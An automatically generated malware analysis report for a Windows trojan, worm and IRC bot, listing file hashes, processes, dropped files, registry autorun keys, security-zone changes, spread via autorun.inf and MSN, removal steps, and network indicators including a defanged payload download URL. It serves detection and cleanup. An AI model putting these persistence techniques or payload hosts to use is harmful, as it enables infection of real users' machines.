AutoIt:Injector-GA [Trj] (Avast), Trojan.GenericKD.1576106 (AdAware), mzpefinder_pcap_file.YR, GenericIRCBot.YR, GenericMSNWorm.YR, Rbot.YR, GenericAutorunWorm.YR, BackdoorIRC.YR, Blazebot.YR, GenericProxy.YR (Lavasoft MAS)Behaviour: Trojan, Backdoor, Worm, WormAutorun, IRCBot, MSNWorm, Trojan-Proxy
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: d7044fa0efe14eb154da11843477d3df
SHA1: acb19148e9d74f57262a06cb06444aa317becf61
SHA256: a38e003b2c65db4a68a0adf0ee67b96c258364e337c862a5e54243d8b809937a
SSDeep: 12288:zhkDgouVA2nxKkorvdRgQriDwOIxmxiZnYQE7PJcE4adoSH6cEPj4:5RmJkcoQricOIQxiZY1iamSa3Pj4
Size: 771406 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2012-01-29 23:32:28
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer. |
IRCBot | A bot can communicate with command and control servers via IRC channel. |
MSNWorm | A worm can spread its copies through the MSN Messanger. |
Trojan-Proxy | This program can launch a proxy server (SOCKS4) on a designated TCP port. |
Process activity
The Trojan creates the following process(es):
ooulnvm.exe:316
AUE68.exe:464
skype.exe:984
skype.exe:444
%original file name%.exe:1476
%original file name%.exe:228
msn.exe:1336
msn.exe:204
The Trojan injects its code into the following process(es):
ooulnvm.exe:1592
skype.exe:1292
csrss.exe:268
File activity
The process ooulnvm.exe:316 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (116736 bytes)
%Documents and Settings%\%current user%\G73A28.YX3 (92160 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (0 bytes)
%Documents and Settings%\%current user%\G73A28.YX3 (0 bytes)
The process ooulnvm.exe:1592 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\X7VALIDZ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (12288 bytes)
%WinDir%\skype.exe (530432 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\X7VALIDZ\1738599339.ms1[1] (530432 bytes)
%Documents and Settings%\%current user%\Cookies\test@directxex[1].txt (118 bytes)
The process AUE68.exe:464 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\F26D\msn.exe (904976 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\F26D\__tmp_rar_sfx_access_check_7102750 (0 bytes)
The process skype.exe:1292 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\All Users\svchost.exe (528384 bytes)
The process skype.exe:444 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\AUE68.exe (757524 bytes)
The process %original file name%.exe:1476 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%System%\ooulnvm.exe (771406 bytes)
The process %original file name%.exe:228 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\G73A28.YX3 (92160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (116736 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\G73A28.YX3 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (0 bytes)
The process msn.exe:1336 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\A85F69.MS5 (67072 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (68608 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\A85F69.MS5 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (0 bytes)
The process msn.exe:204 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\csrss.exe (746376 bytes)
Registry activity
The process ooulnvm.exe:316 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "75 6B 6B 7D 45 7F 09 7A 1A 38 D2 EF 2D E9 DA 62"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d45-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d42-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{ebcf8d94-66db-11de-b228-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{d8c0d8da-77bd-11e0-bb02-000c293bc0fd}]
"BaseClass" = "Drive"
The process ooulnvm.exe:1592 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKCU\Software\Microsoft\yOLE]
"Supports RAS Connections" = "ooulnvm.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65324"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2F 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d45-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d42-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\SYSTEM\CurrentControlSet\Control\Lsa]
"Supports RAS Connections" = "ooulnvm.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\yOLE]
"Supports RAS Connections" = "ooulnvm.exe"
[HKLM\System\CurrentControlSet\Control\Lsa]
"Supports RAS Connections" = "ooulnvm.exe"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%WinDir%]
"Skype.exe" = "Spinetai didel"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65324"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65324"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F2 E6 9D BF 2A 9C 3D 37 40 A0 4B 41 40 A5 F4 91"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65324"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{d8c0d8da-77bd-11e0-bb02-000c293bc0fd}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{ebcf8d94-66db-11de-b228-806d6172696f}]
"BaseClass" = "Drive"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices]
"Supports RAS Connections" = "ooulnvm.exe"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Supports RAS Connections" = "ooulnvm.exe"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Supports RAS Connections" = "ooulnvm.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservices]
"Supports RAS Connections" = "ooulnvm.exe"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process AUE68.exe:464 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 D8 54 E7 C8 1D D8 6B F0 76 5E 32 26 8B 60 D8"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\F26D]
"msn.exe" = "msn"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\ÃÂâ€Âþúуüõýты"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\àðñþчøù ÑÂÂтþû"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d45-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{d8c0d8da-77bd-11e0-bb02-000c293bc0fd}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d42-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\àðñþчøù ÑÂÂтþû"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\Üþø ôþúуüõýты"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{ebcf8d94-66db-11de-b228-806d6172696f}]
"BaseClass" = "Drive"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process skype.exe:1292 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DB E1 AD E2 0B 9A A9 FC 51 A9 F2 98 1A 82 28 4F"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SunJavaUpdateSched" = "%Documents and Settings%\All Users\svchost.exe"
The process skype.exe:984 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C8 01 BF 67 71 68 22 95 00 3A F6 F8 C0 06 E8 56"
The process skype.exe:444 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FE E1 3D 16 6E E6 2B 29 3A 98 4A 27 13 53 A6 CA"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\test\LOCALS~1\Temp]
"AUE68.exe" = "AUE68"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\ÃÂâ€Âþúуüõýты"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\àðñþчøù ÑÂÂтþû"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d45-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{d8c0d8da-77bd-11e0-bb02-000c293bc0fd}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d42-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\àðñþчøù ÑÂÂтþû"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\Üþø ôþúуüõýты"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{ebcf8d94-66db-11de-b228-806d6172696f}]
"BaseClass" = "Drive"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process %original file name%.exe:1476 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "39 15 E0 7B CD 03 23 4E AA EB 8C 02 23 36 6E 8E"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65324"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65324"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65324"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65324"
The process %original file name%.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E4 3C 37 70 BD 89 87 F9 E5 E7 E6 10 DE F5 B7 CF"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d45-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d42-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{ebcf8d94-66db-11de-b228-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{d8c0d8da-77bd-11e0-bb02-000c293bc0fd}]
"BaseClass" = "Drive"
The process msn.exe:1336 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E D5 CE 45 BE 91 EC 87 DA 94 08 F9 28 64 96 4D"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d45-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d42-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{ebcf8d94-66db-11de-b228-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{d8c0d8da-77bd-11e0-bb02-000c293bc0fd}]
"BaseClass" = "Drive"
The process msn.exe:204 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BC 8E CC 11 CB DE D4 E0 49 4E 4A AB 05 D7 AB 28"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65324"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65324"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65324"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65324"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Remote Registry Service" = "csrss.exe"
Dropped PE files
MD5 | File path |
---|---|
0d468d8b2a1f7f599575a60378554192 | c:\Documents and Settings\All Users\svchost.exe |
1838249f6e218963310b439c330e968f | c:\Documents and Settings\test\F26D\msn.exe |
846e69454ddca6f801239f0ff1e120be | c:\Documents and Settings\test\Local Settings\Temp\AUE68.exe |
0d468d8b2a1f7f599575a60378554192 | c:\Documents and Settings\test\Local Settings\Temporary Internet Files\Content.IE5\X7VALIDZ\1738599339.ms1[1] |
0d468d8b2a1f7f599575a60378554192 | c:\WINDOWS\skype.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.A worm can spread its copies through the MSN Messanger.
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
ooulnvm.exe:316
AUE68.exe:464
skype.exe:984
skype.exe:444
%original file name%.exe:1476
%original file name%.exe:228
msn.exe:1336
msn.exe:204 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\aut3.tmp (116736 bytes)
%Documents and Settings%\%current user%\G73A28.YX3 (92160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\X7VALIDZ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (12288 bytes)
%WinDir%\skype.exe (530432 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\X7VALIDZ\1738599339.ms1[1] (530432 bytes)
%Documents and Settings%\%current user%\Cookies\test@directxex[1].txt (118 bytes)
%Documents and Settings%\%current user%\F26D\msn.exe (904976 bytes)
%Documents and Settings%\All Users\svchost.exe (528384 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AUE68.exe (757524 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%System%\ooulnvm.exe (771406 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (116736 bytes)
%Documents and Settings%\%current user%\A85F69.MS5 (67072 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut4.tmp (68608 bytes)
%WinDir%\csrss.exe (746376 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices]
"Supports RAS Connections" = "ooulnvm.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Supports RAS Connections" = "ooulnvm.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Supports RAS Connections" = "ooulnvm.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservices]
"Supports RAS Connections" = "ooulnvm.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SunJavaUpdateSched" = "%Documents and Settings%\All Users\svchost.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Remote Registry Service" = "csrss.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description:
Comments:
Language: Language Neutral
Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 8, 1File Description: Comments: Language: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 525852 | 526336 | 4.63347 | 61ffce4768976fa0dd2a8f6a97b1417a |
.rdata | 532480 | 57280 | 57344 | 3.32693 | 0354bc5f2376b5e9a4a3ba38b682dff1 |
.data | 589824 | 108376 | 26624 | 1.49032 | 8033f5a38941b4685bc2299e78f31221 |
.rsrc | 700416 | 16376 | 16384 | 3.06916 | 6c0529185ffae00932f6d33565ffc4db |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 1
25ead6906ed4c4c9d57568d7cebf8b91
Network Activity
URLs
URL | IP |
---|---|
hxxp://directxex.com/uploads/1738599339.ms1.exe?dl=1 | 108.162.199.96 |
hxxp://www.whatismyip.com/ | 190.93.249.117 |
hxxp://checkip.dyndns.com/ | |
checkip.dyndns.org | 216.146.39.70 |
vids.p0rn-lover.us | 82.145.57.209 |
videos.p0rn-lover.us | 176.31.75.42 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET / HTTP/1.1
Host: VVV.whatismyip.com
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Server: cloudflare-nginx
Date: Sat, 22 Mar 2014 11:18:59 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=da6191e9b8143e8df9f92ef6df9da84231395487139700; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.whatismyip.com; HttpOnly
Vary: Accept-Encoding
CF-RAY: 10f1fddf2b9f072b-AMS
830..<html>.<head><title>403 Forbidden</title> <script type="text/javascript">.//<![CDATA[.try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:1395415713,byc:0,owlid:"cf",bag2:1,mirage2:{profile:false},oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok8v=02fcfa4f56/"},atok:"301e86d4e68b4f9490083018b6e4338d",petok:"fcb473feb94cd35c093199b4a1ab2d93b1ddb512-1395487139-1800",zone:"whatismyip.com",rocket:"a",apps:{"ga_key":{"ua":"UA-4975660-1","ga_bs":"2"}}}];document.write('<script type="text/javascript" src="//ajax.cloudflare.com/cdn-cgi/nexp/dok8v=b064e16429/cloudflare.min.js"><' '\/script>');}}catch(e){};.//]]>.</script>.<script type="text/javascript">./* <![CDATA[ */.var _gaq = _gaq || [];._gaq.push(['_setAccount', 'UA-4975660-1']);._gaq.push(['_trackPageview']);..(function() {.var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;.ga.src = ('https:' == document.location.protocol ? 'hXXps://ssl' : 'hXXp://www') '.google-analytics.com/ga.js';.var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);.})();..(function(b){(function(a){"__CF"in b&&"DJS"in b.__CF?b.__CF.DJS.push(a):"addEventListener"in b?b.addEventListener("load",a,!1):b.attachEvent("onload",a)})(function(){"FB"in b&&"Event"in FB&&"subscribe"in 